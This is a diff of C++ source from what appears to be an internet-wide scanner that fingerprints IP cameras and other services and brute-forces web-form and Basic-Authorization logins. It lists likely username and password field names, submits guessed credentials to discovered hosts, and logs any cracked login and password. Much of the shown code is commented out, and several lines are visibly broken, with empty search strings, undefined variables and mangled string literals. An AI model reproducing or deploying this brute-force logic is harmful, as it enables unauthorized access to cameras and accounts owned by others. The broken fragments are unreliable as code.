+//std::vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) );
+//static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"};
+//std::vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) );
+//
+//char *_getAttribute(const char *str, char *attrib)
+//{
+// if(strstri(str, attrib) != NULL)
+// {
+// char res[1024] = {0};
+// char *ptrStart = strstri(str, attrib);
+// char *ptrEnd = _findFirst(ptrStart, "\r\n");
+// if(ptrEnd != NULL)
+// {
+// int szAt = strlen(attrib);
+// int sz = ptrEnd - ptrStart - szAt;
+//
+// if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz);
+// else return "";
+//
+// return res;
+// }
+// else return "";
+// }
+// else return "";
+//}
+//
+//void _getInputVal(std::vector inputVec, char *buff, char *key)
+//{
+// char *pos = NULL;
+// char field[256] = {0};
+// if(strcmp(key, "USER") == 0)
+// {
+// for(int i = 0; i < inputVec.size(); ++i)
+// {
+// ZeroMemory(field, 256);
+// _getFormVal((char*)inputVec[i].data(), field, "name=");
+// for(int j = 0; j < vecUser.size(); ++j)
+// {
+// pos = strstri(field, vecUser[j].data());
+// if(pos != NULL)
+// {
+// strncpy(buff, field, 256);
+// return;
+// };
+// };
+// };
+// }
+// else
+// {
+// for(int i = 0; i < inputVec.size(); ++i)
+// {
+// ZeroMemory(field, 256);
+// _getFormVal((char*)inputVec[i].data(), field, "name=");
+// for(int j = 0; j < vecPass.size(); ++j)
+// {
+// pos = strstri(field, vecPass[j].data());
+// if(pos != NULL)
+// {
+// strncpy(buff, field, 256);
+// return;
+// };
+// };
+// };
+// };
+//}
+//
+//void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int size, char *title)
+//{
+// if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
+// {
+// if(gNegDebugMode)
+// {
+// stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Captcha detected.");
+// };
+// return;
+// };
+//
+// char methodVal[128] = {0};
+// char actionVal[512] = {0};
+// char userVal[128] = {0};
+// char passVal[128] = {0};
+// char frmBlock[4096] = {0};
+// char *fBlock = strstri(buff, "");
+// if(frmBlockEnd != NULL)
+// {
+// fbsz = frmBlockEnd - fBlock;
+// strncpy(frmBlock, fBlock, (fbsz < 4096 ? fbsz : 4096));
+// }
+// else
+// {
+// strncpy(frmBlock, fBlock, 4096);
+// };
+//
+// _getFormVal(frmBlock, methodVal, "method");
+// _getFormVal(frmBlock, actionVal, "action", path);
+// if(actionVal[0] == '.')
+// {
+// char tmpBuff[512] = {0};
+// char *tempPtr1 = _findLast(path, "/");
+// int sz = tempPtr1 - path;
+// if(sz > 0)
+// {
+// strncpy(tmpBuff, path, sz);
+// strncat(tmpBuff, actionVal + 1, strlen(actionVal) - 1);
+// ZeroMemory(actionVal, sizeof(actionVal));
+// strcpy(actionVal, tmpBuff);
+// };
+// };
+//
+// char *inptPtr1 = strstri(frmBlock, "");
+// if(inptPtrEnd != NULL)
+// {
+// ZeroMemory(tempInptStr, 256);
+// insz = inptPtrEnd - inptPtr1 + 1;
+// strncpy(tempInptStr, inptPtr1, (insz < 256 ? insz : 256));
+// inputVec.push_back(std::string(tempInptStr));
+// inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found.");
+// ///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
+// ///putInFile(flag, ip, tport, size, title, cp);
+// };
+// }
+// else
+// {
+// stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block.");
+// fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
+// putInFile(flag, ip, port, size, title, cp);
+// };
+//
+// if(strlen(methodVal) == 0)
+// {
+// strcpy(methodVal, "GET");
+// };
+// if(strlen(actionVal) == 0)
+// {
+// strcpy(actionVal, "/");
+// }
+// else
+// {
+// if(strstri(actionVal, "http") != NULL)
+// {
+// char tmp[128] = {0};
+// strncpy(tmp, actionVal, 128);
+// if(strstr(tmp, "//") != NULL)
+// {
+// char *tmp1 = strstr(tmp, "//");
+// char *tmp2 = strstr(tmp1 + 2, "/");
+// ZeroMemory(actionVal, 128);
+// if(tmp2 != NULL)
+// {
+// strncpy(actionVal, tmp2, strlen(tmp2));
+// }
+// else
+// {
+// strcpy(actionVal, "/");
+// };
+// }
+// else if(strstr(tmp, "%2f%2f") != NULL)
+// {
+// char *tmp1 = strstr(tmp, "%2f%2f");
+// char *tmp2 = strstr(tmp1 + 6, "%2f");
+// ZeroMemory(actionVal, 128);
+// if(tmp2 != NULL)
+// {
+// strcpy(actionVal, "/");
+// strncpy(actionVal, tmp2 + 3, strlen(tmp2) - 3);
+// }
+// else
+// {
+// strcpy(actionVal, "/");
+// };
+// };
+// };
+// if(actionVal[0] != '/')
+// {
+// char temp[128] = {0};
+// strncpy(temp, actionVal, 128);
+// strcpy(actionVal, "/");
+// strncat(actionVal, temp, strlen(temp));
+// };
+// };
+//
+// if(inputVec.size() > 0)
+// {
+// if(strlen(userVal) != 0 && strlen(passVal) != 0)
+// {
+// WFClass WFC;
+// lopaStr lps = WFC._WFBrute(ip, port, methodVal, actionVal, userVal, passVal, formVal);
+//
+// if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
+// {
+// _specFillerWF(ip, port, title, lps.login, lps.pass, flag);
+//
+// fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
+// putInFile(flag, ip, port, size, title, cp);
+// };
+// }
+// else
+// {
+// if(gNegDebugMode) stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) +
+// " - [WF]: Cannot find user/pass field.");
+// };
+// };
+//}
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{
@@ -1223,13 +1209,10 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
}
int _specBrute(const char *ip, int port,
- char *finalstr, int flag,
- char *path, char *comment, char *cp, int size, const std::string *buffer)
+ const char *finalstr, int flag,
+ char *path, char *comment, char *cp, int size)
{
- int y = strcmp(comment, "[DIGEST]");
- const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(),
- port,
- (strcmp(comment, "[DIGEST]") == 0 ? true : false));
+ const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port);
if (strcmp(lps.other, "404") == 0) {
@@ -1241,7 +1224,7 @@ int _specBrute(const char *ip, int port,
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
- fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
+ fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, "", cp, "Basic Authorization");
};
}
@@ -1404,397 +1387,370 @@ void _saveSSH(const char *ip, int port, int size, const char *buffcpy)
};
}
-int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst)
-{
- if(ls->iterationCount++ == 5)
- {
- ls->iterationCount = 0;
-
- strcpy(ps->headr, "[!][Loop detected.]");
- strcpy(ps->path, "");
+//int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst)
+//{
+// if(ls->iterationCount++ == 5)
+// {
+// ls->iterationCount = 0;
+//
+// strcpy(ps->headr, "[!][Loop detected.]");
+// strcpy(ps->path, "");
+//
+// return 0;
+// };
+//
+// char tempIP[MAX_ADDR_LEN] = {0};
+// strcpy(tempIP, ip);
+// int tempPort = port;
+// char tempPath[1024] = {0};
+//
+// if(strstri(str, "https://") != NULL)
+// {
+// tempPort = 443;
+// char *ptr1 = strstri(str, "https://");
+// char *ptr2 = _findFirst(ptr1 + 8, ":/?");
+//
+// if(ptr2 != NULL)
+// {
+// int sz = ptr2 - ptr1 - 8;
+// ZeroMemory(tempIP, MAX_ADDR_LEN);
+// strncpy(tempIP, ptr1 + 8, sz < 128 ? sz : 128);
+// if(ptr2[0] == ':')
+// {
+// char *ptrPath = strstr(ptr2, "/");
+// if(ptrPath != NULL)
+// {
+// sz = ptrPath - ptr2 - 1;
+//
+// char *pPth = strstr(ptr1 + 8, "/");
+// strcpy(tempPath, pPth);
+// }
+// else
+// {
+// strcpy(tempPath, "/");
+// sz = ptr2 - ptr1 - 9;
+// };
+// char tPort[8] = {0};
+// strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5);
+// tempPort = atoi(tPort);
+// }
+// else if(ptr2[0] == '/')
+// {
+// strncpy(tempPath, ptr2, strlen(ptr2));
+// }
+// else if(ptr2[0] == '?')
+// {
+// strcpy(tempPath, "/");
+// strncat(tempPath, ptr2, strlen(ptr2));
+// }
+// else
+// {
+// stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")");
+// };
+// }
+// else
+// {
+// ZeroMemory(tempIP, MAX_ADDR_LEN);
+// strncpy(tempIP, ptr1 + 8, strlen(str) - 8);
+// strcpy(tempPath, "/");
+// };
+//
+// std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
+// sprintf(nip.get(), "%s%s", tempIP, tempPath);
+// std::string buffer;
+// Connector con;
+// int cSz = con.nConnect(nip.get(), tempPort, &buffer);
+//
+// if(cSz > -1)
+// {
+// strcpy(ps->codepage, GetCodePage(buffer.c_str()));
+//
+// ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz);
+// ps->flag = ls->flag;
+//
+// if(ls->flag == -1)
+// {
+// ps->flag = -1;
+// strcpy(ps->path, tempPath);
+//
+// return -1;
+// };
+//
+// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
+// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
+// {
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+// ps->flag = ls->flag;
+// strcpy(ps->path, tempPath);
+// ps->port = tempPort;
+// strcpy(ps->ip, tempIP);
+//
+// return -2;
+// };
+//
+// strcat(ps->headr, " -> ");
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+//
+// if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
+// {
+// ps->flag = -1;
+// strcpy(ps->path, tempPath);
+//
+// return -1;
+// };
+//
+// ps->port = tempPort;
+// }
+// else
+// {
+// ps->flag = -1;
+// ls->flag = -1;
+// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + ""
+// + "] Rejecting in _header::redirect [Dead host].");
+// };
+//
+// return -2;
+// }
+// else if(strstr(str, "http://") != NULL) //http
+// {
+// tempPort = 80;
+// char *ptr1 = strstri(str, "http://");
+// char *ptr2 = _findFirst(ptr1 + 7, ":/?");
+//
+// if(ptr2 != NULL)
+// {
+// int sz = ptr2 - ptr1 - 7;
+// ZeroMemory(tempIP, MAX_ADDR_LEN);
+// strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128);
+//
+// if(ptr2[0] == ':')
+// {
+// char *ptrPath = strstr(ptr2, "/");
+//
+// if(ptrPath != NULL)
+// {
+// sz = ptrPath - ptr2 - 1;
+//
+// char *pPth = strstr(ptr1 + 7, "/");
+// strcpy(tempPath, pPth);
+// }
+// else
+// {
+// strcpy(tempPath, "/");
+// sz = ptr2 - ptr1 - 7;
+// };
+//
+// char tPort[8] = {0};
+// strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5);
+// tempPort = atoi(tPort);
+// }
+// else if(ptr2[0] == '/')
+// {
+// strncpy(tempPath, ptr2, strlen(ptr2));
+// }
+// else if(ptr2[0] == '?')
+// {
+// strcpy(tempPath, "/");
+// strncat(tempPath, ptr2, strlen(ptr2));
+// }
+// else
+// {
+// stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")");
+// };
+// }
+// else
+// {
+// ZeroMemory(tempIP, MAX_ADDR_LEN);
+// strncpy(tempIP, ptr1 + 7, strlen(str) - 7);
+// strcpy(tempPath, "/");
+// };
+//
+// std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
+// sprintf(nip.get(), "%s%s", tempIP, tempPath);
+// std::string buffer;
+// Connector con;
+// int cSz = con.nConnect(nip.get(), tempPort, &buffer);
+//
+// if(cSz > -1)
+// {
+// strcpy(ps->codepage, GetCodePage(buffer.c_str()));
+//
+// ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz);
+// ps->flag = ls->flag;
+//
+// if(ls->flag == -1)
+// {
+// ps->flag = -1;
+// strcpy(ps->path, tempPath);
+//
+// return -1;
+// };
+//
+// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
+// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
+// {
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+// ps->flag = ls->flag;
+// strcpy(ps->path, tempPath);
+// ps->port = tempPort;
+// strcpy(ps->ip, tempIP);
+//
+// return -2;
+// };
+//
+// strcat(ps->headr, " -> ");
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+//
+// if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
+// {
+// ps->flag = -1;
+// strcpy(ps->path, tempPath);
+//
+// return -1;
+// };
+// ps->port = tempPort;
+// }
+// else
+// {
+// ps->flag = -1;
+// ls->flag = -1;
+// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" +
+// "] Rejecting in _header::redirect [Dead host].");
+// };
+//
+// return -2;
+// }
+// else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/'))
+// {
+// if(str[0] == '.' && str[1] == '.') strcpy(tempPath, str + 2);
+// else if(str[0] == '.') strcpy(tempPath, str + 1);
+// else strcpy(tempPath, str);
+//
+// std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
+// sprintf(nip.get(), "%s%s", tempIP, tempPath);
+// std::string buffer;
+// Connector con;
+// int cSz = con.nConnect(nip.get(), tempPort, &buffer);
+//
+// if(cSz > -1)
+// {
+// strcpy(ps->codepage, GetCodePage(buffer.c_str()));
+//
+// ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz);
+// ps->flag = ls->flag;
+//
+// if(ls->flag == -1)
+// {
+// ps->flag = -1;
+// strcpy(ps->path, tempPath);
+//
+// return -2;
+// };
+//
+// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
+// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
+// {
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+// ps->flag = ls->flag;
+// strcpy(ps->path, tempPath);
+// ps->port = port;
+// strcpy(ps->ip, ip);
+//
+// return -2;
+// };
+//
+// strcat(ps->headr, "->");
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+//
+// if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
+// {
+// ps->flag = -1;
+// strcpy(ps->path, tempPath);
+//
+// return -1;
+// };
+// ps->port = tempPort;
+// }
+// else
+// {
+// ps->flag = -1;
+// ls->flag = -1;
+// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" +
+// "] Rejecting in _header::redirect [Dead host].");
+// };
+// return -2;
+// }
+// else if(strlen(str) > 2)
+// {
+// std::unique_ptr nip(new char[strlen(ip) + strlen(str) + 1]);
+// sprintf(nip.get(), "%s%s", ip, str);
+// std::string buffer;
+// Connector con;
+// int cSz = con.nConnect(nip.get(), port, &buffer);
+//
+// if(cSz > -1)
+// {
+// strcpy(ps->codepage, GetCodePage(buffer.c_str()));
+//
+// ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz);
+// ps->flag = ls->flag;
+//
+// if(ls->flag == -1)
+// {
+// ps->flag = -1;
+// strcpy(ps->path, tempPath);
+//
+// return -1;
+// };
+//
+// if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
+// || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
+// {
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+// ps->flag = ls->flag;
+// strcpy(ps->path, tempPath);
+// ps->port = port;
+// strcpy(ps->ip, ip);
+//
+// return -2;
+// };
+//
+// strcat(ps->headr, " -> ");
+// strcat(ps->headr, GetTitle(buffer.c_str()));
+// ls->header(ip, port, buffer.c_str(), ls, ps, redirStrLst, cSz);
+// ps->port = tempPort;
+// }
+// else
+// {
+// ps->flag = -1;
+// ls->flag = -1;
+// if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" +
+// "] Rejecting in _header::redirect [Dead host].");
+// };
+// return -2;
+// };
+//
+// return -1;
+//}
- return 0;
- };
-
- char tempIP[MAX_ADDR_LEN] = {0};
- strcpy(tempIP, ip);
- int tempPort = port;
- char tempPath[1024] = {0};
+void _getPopupTitle(PathStr *ps, char *str)
+{
+ strcat(ps->headr, "[Popup detected. Title: ");
- if(strstri(str, "https://") != NULL)
+ char *ptr1 = strstr(str, ",");
+ if(ptr1 != NULL)
{
- tempPort = 443;
- char *ptr1 = strstri(str, "https://");
- char *ptr2 = _findFirst(ptr1 + 8, ":/?");
-
+ char *ptr2 = strstr(ptr1 + 1, ",");
if(ptr2 != NULL)
{
- int sz = ptr2 - ptr1 - 8;
- ZeroMemory(tempIP, MAX_ADDR_LEN);
- strncpy(tempIP, ptr1 + 8, sz < 128 ? sz : 128);
- if(ptr2[0] == ':')
- {
- char *ptrPath = strstr(ptr2, "/");
- if(ptrPath != NULL)
- {
- sz = ptrPath - ptr2 - 1;
-
- char *pPth = strstr(ptr1 + 8, "/");
- strcpy(tempPath, pPth);
- }
- else
- {
- strcpy(tempPath, "/");
- sz = ptr2 - ptr1 - 9;
- };
- char tPort[8] = {0};
- strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5);
- tempPort = atoi(tPort);
- }
- else if(ptr2[0] == '/')
- {
- strncpy(tempPath, ptr2, strlen(ptr2));
- }
- else if(ptr2[0] == '?')
- {
- strcpy(tempPath, "/");
- strncat(tempPath, ptr2, strlen(ptr2));
- }
- else
- {
- stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")");
- };
- }
- else
- {
- ZeroMemory(tempIP, MAX_ADDR_LEN);
- strncpy(tempIP, ptr1 + 8, strlen(str) - 8);
- strcpy(tempPath, "/");
- };
-
- std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
- sprintf(nip.get(), "%s%s", tempIP, tempPath);
- std::string buffer;
- Connector con;
- int cSz = con.nConnect(nip.get(), tempPort, &buffer);
-
- if(cSz > -1)
- {
- strcpy(ps->codepage, GetCodePage(buffer.c_str()));
-
- ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz);
- ps->flag = ls->flag;
-
- if(ls->flag == -1)
- {
- ps->flag = -1;
- strcpy(ps->path, tempPath);
-
- return -1;
- };
-
- if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
- || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
- {
- strcat(ps->headr, GetTitle(buffer.c_str()));
- ps->flag = ls->flag;
- strcpy(ps->path, tempPath);
- ps->port = tempPort;
- strcpy(ps->ip, tempIP);
-
- return -2;
- };
-
- if(ls->flag == 6)
- {
- ps->flag = ls->flag;
- ps->port = tempPort;
- return -2;
- };
-
- strcat(ps->headr, " -> ");
- strcat(ps->headr, GetTitle(buffer.c_str()));
-
- if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
- {
- ps->flag = -1;
- strcpy(ps->path, tempPath);
-
- return -1;
- };
-
- ps->port = tempPort;
- }
- else
- {
- ps->flag = -1;
- ls->flag = -1;
- if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + ""
- + "] Rejecting in _header::redirect [Dead host].");
- };
-
- return -2;
- }
- else if(strstr(str, "http://") != NULL) //http
- {
- tempPort = 80;
- char *ptr1 = strstri(str, "http://");
- char *ptr2 = _findFirst(ptr1 + 7, ":/?");
-
- if(ptr2 != NULL)
- {
- int sz = ptr2 - ptr1 - 7;
- ZeroMemory(tempIP, MAX_ADDR_LEN);
- strncpy(tempIP, ptr1 + 7, sz < 128 ? sz : 128);
-
- if(ptr2[0] == ':')
- {
- char *ptrPath = strstr(ptr2, "/");
-
- if(ptrPath != NULL)
- {
- sz = ptrPath - ptr2 - 1;
-
- char *pPth = strstr(ptr1 + 7, "/");
- strcpy(tempPath, pPth);
- }
- else
- {
- strcpy(tempPath, "/");
- sz = ptr2 - ptr1 - 7;
- };
-
- char tPort[8] = {0};
- strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5);
- tempPort = atoi(tPort);
- }
- else if(ptr2[0] == '/')
- {
- strncpy(tempPath, ptr2, strlen(ptr2));
- }
- else if(ptr2[0] == '?')
- {
- strcpy(tempPath, "/");
- strncat(tempPath, ptr2, strlen(ptr2));
- }
- else
- {
- stt->doEmitionRedFoundData("[Redirect] Unknown protocol (" + QString(ip) + ":" + QString::number(port) + ")");
- };
- }
- else
- {
- ZeroMemory(tempIP, MAX_ADDR_LEN);
- strncpy(tempIP, ptr1 + 7, strlen(str) - 7);
- strcpy(tempPath, "/");
- };
-
- std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
- sprintf(nip.get(), "%s%s", tempIP, tempPath);
- std::string buffer;
- Connector con;
- int cSz = con.nConnect(nip.get(), tempPort, &buffer);
-
- if(cSz > -1)
- {
- strcpy(ps->codepage, GetCodePage(buffer.c_str()));
-
- ls->flag = ContentFilter(&buffer, tempPort, tempIP, ps->codepage, cSz);
- ps->flag = ls->flag;
-
- if(ls->flag == -1)
- {
- ps->flag = -1;
- strcpy(ps->path, tempPath);
-
- return -1;
- };
-
- if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
- || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
- {
- strcat(ps->headr, GetTitle(buffer.c_str()));
- ps->flag = ls->flag;
- strcpy(ps->path, tempPath);
- ps->port = tempPort;
- strcpy(ps->ip, tempIP);
-
- return -2;
- };
-
- if(ls->flag == 6)
- {
- ps->flag = ls->flag;
- ps->port = tempPort;
- return -2;
- };
-
- strcat(ps->headr, " -> ");
- strcat(ps->headr, GetTitle(buffer.c_str()));
-
- if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
- {
- ps->flag = -1;
- strcpy(ps->path, tempPath);
-
- return -1;
- };
- ps->port = tempPort;
- }
- else
- {
- ps->flag = -1;
- ls->flag = -1;
- if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" +
- "] Rejecting in _header::redirect [Dead host].");
- };
-
- return -2;
- }
- else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/'))
- {
- if(str[0] == '.' && str[1] == '.') strcpy(tempPath, str + 2);
- else if(str[0] == '.') strcpy(tempPath, str + 1);
- else strcpy(tempPath, str);
-
- std::unique_ptr nip(new char[strlen(tempIP) + strlen(tempPath) + 1]);
- sprintf(nip.get(), "%s%s", tempIP, tempPath);
- std::string buffer;
- Connector con;
- int cSz = con.nConnect(nip.get(), tempPort, &buffer);
-
- if(cSz > -1)
- {
- strcpy(ps->codepage, GetCodePage(buffer.c_str()));
-
- ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz);
- ps->flag = ls->flag;
-
- if(ls->flag == -1)
- {
- ps->flag = -1;
- strcpy(ps->path, tempPath);
-
- return -2;
- };
-
- if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
- || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
- {
- strcat(ps->headr, GetTitle(buffer.c_str()));
- ps->flag = ls->flag;
- strcpy(ps->path, tempPath);
- ps->port = port;
- strcpy(ps->ip, ip);
-
- return -2;
- };
- if(ls->flag == 6)
- {
- ps->flag = ls->flag;
- ps->port = tempPort;
- return -2;
- };
-
- strcat(ps->headr, "->");
- strcat(ps->headr, GetTitle(buffer.c_str()));
-
- if (ls->header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
- {
- ps->flag = -1;
- strcpy(ps->path, tempPath);
-
- return -1;
- };
- ps->port = tempPort;
- }
- else
- {
- ps->flag = -1;
- ls->flag = -1;
- if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" +
- "] Rejecting in _header::redirect [Dead host].");
- };
- return -2;
- }
- else if(strlen(str) > 2)
- {
- std::unique_ptr nip(new char[strlen(ip) + strlen(str) + 1]);
- sprintf(nip.get(), "%s%s", ip, str);
- std::string buffer;
- Connector con;
- int cSz = con.nConnect(nip.get(), port, &buffer);
-
- if(cSz > -1)
- {
- strcpy(ps->codepage, GetCodePage(buffer.c_str()));
-
- ls->flag = ContentFilter(&buffer, port, ip, ps->codepage, cSz);
- ps->flag = ls->flag;
-
- if(ls->flag == -1)
- {
- ps->flag = -1;
- strcpy(ps->path, tempPath);
-
- return -1;
- };
-
- if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12
- || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10)
- {
- strcat(ps->headr, GetTitle(buffer.c_str()));
- ps->flag = ls->flag;
- strcpy(ps->path, tempPath);
- ps->port = port;
- strcpy(ps->ip, ip);
-
- return -2;
- };
-
- if(ls->flag == 6)
- {
- ps->flag = ls->flag;
- ps->port = tempPort;
- return -2;
- };
-
- strcat(ps->headr, " -> ");
- strcat(ps->headr, GetTitle(buffer.c_str()));
- ls->header(ip, port, buffer.c_str(), ls, ps, redirStrLst, cSz);
- ps->port = tempPort;
- }
- else
- {
- ps->flag = -1;
- ls->flag = -1;
- if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" +
- "] Rejecting in _header::redirect [Dead host].");
- };
- return -2;
- };
-
- return -1;
-}
-
-void _getPopupTitle(PathStr *ps, char *str)
-{
- strcat(ps->headr, "[Popup detected. Title: ");
-
- char *ptr1 = strstr(str, ",");
- if(ptr1 != NULL)
- {
- char *ptr2 = strstr(ptr1 + 1, ",");
- if(ptr2 != NULL)
- {
- int sz = ptr2 - ptr1 - 1;
- if(sz >= 32) sz = 32;
-
- strncat(ps->headr, ptr1 + 1, sz < 32 ? sz : 32);
+ int sz = ptr2 - ptr1 - 1;
+ if(sz >= 32) sz = 32;
+
+ strncat(ps->headr, ptr1 + 1, sz < 32 ? sz : 32);
}
else
{
@@ -1807,8 +1763,6 @@ void _getPopupTitle(PathStr *ps, char *str)
if(strstr(str, "(") != NULL){
strncpy(temp, strstr(str, "("), 32);
strcat(ps->headr, temp);
- } else {
- strcat(ps->headr, "[No title]");
};
};
@@ -1905,551 +1859,652 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
};
};
}
+//
+//int Lexems::getHeader(char *ip, int port, const char *str, Lexems *l, PathStr *ps, std::vector *redirStrLst, int size)
+//{
+// std::string redirectStr = "";
+//
+// strcpy(ps->codepage, GetCodePage(str));
+// char finalstr[512] = {0};
+//
+// if(strstri(str, "notice auth :*** looking up your hostname...")
+// || strstri(str, "451 * :You have not registered.")
+// )
+// {
+// strcpy(ps->headr, "[IRC server]");
+// strcpy(ps->path, "/"); return 1;
+// };
+//
+// if((strstri(str, "ip camera") != NULL || strstr(str, "+tm01+") != NULL
+// || strstri(str, "camera web server") != NULL || strstri(str, "ipcam_language") != NULL
+// || strstri(str, "/viewer/video.jpg") != NULL || strstri(str, "network camera") != NULL
+// || strstri(str, "sanpshot_icon") != NULL || strstri(str, "snapshot_icon") != NULL
+// || strstri(str, "lan camera") != NULL || strstri(str, "cgiuserlogin?") != NULL
+// || strstri(str, "web camera") != NULL || strstri(str, "smart ip device") != NULL
+// || strstri(str, "pan/tilt camera") != NULL || strstri(str, "/cgi-bin/viewer/getparam.cgi?") != NULL
+// || strstri(str, "IPCam") != NULL || strstri(str, "/camera-cgi/admin") != NULL
+// ) && strstr(str, "customer") == NULL
+// && strstr(str, "purchase") == NULL
+// && strstr(str, "contac") == NULL
+// && strstr(str, "company") == NULL
+// )
+// {
+// if (strstr(str, "CgiStart?page=Single") != NULL) strcpy(ps->headr, "[IP Camera (Unibrowser)]");
+// else strcpy(ps->headr, "[IP Camera]");
+// l->flag = 0;
+// ps->flag = 0;
+// };
+//
+// if(strstri(str, "get_status.cgi") != NULL) strcpy(ps->headr, "[It may be ip camera]");
+// if(strstri(str, "vo_logo.gif") != NULL
+// || strstri(str, "vo logo.gif") != NULL
+// ) strcpy(ps->headr, "[VIVOTEK camera detected?]");
+//
+// if(strstri(str, "$lock extended") != NULL)
+// {
+// strcpy(ps->headr, "[DChub detected.]");
+// strcpy(ps->path, "/");
+// return 0;
+// };
+// if(strstri(str, "top.htm?currenttime") != NULL
+// || strstri(str, "top.htm?") != NULL
+// ) strcat(finalstr, " [?][SecCam detected]");
+//
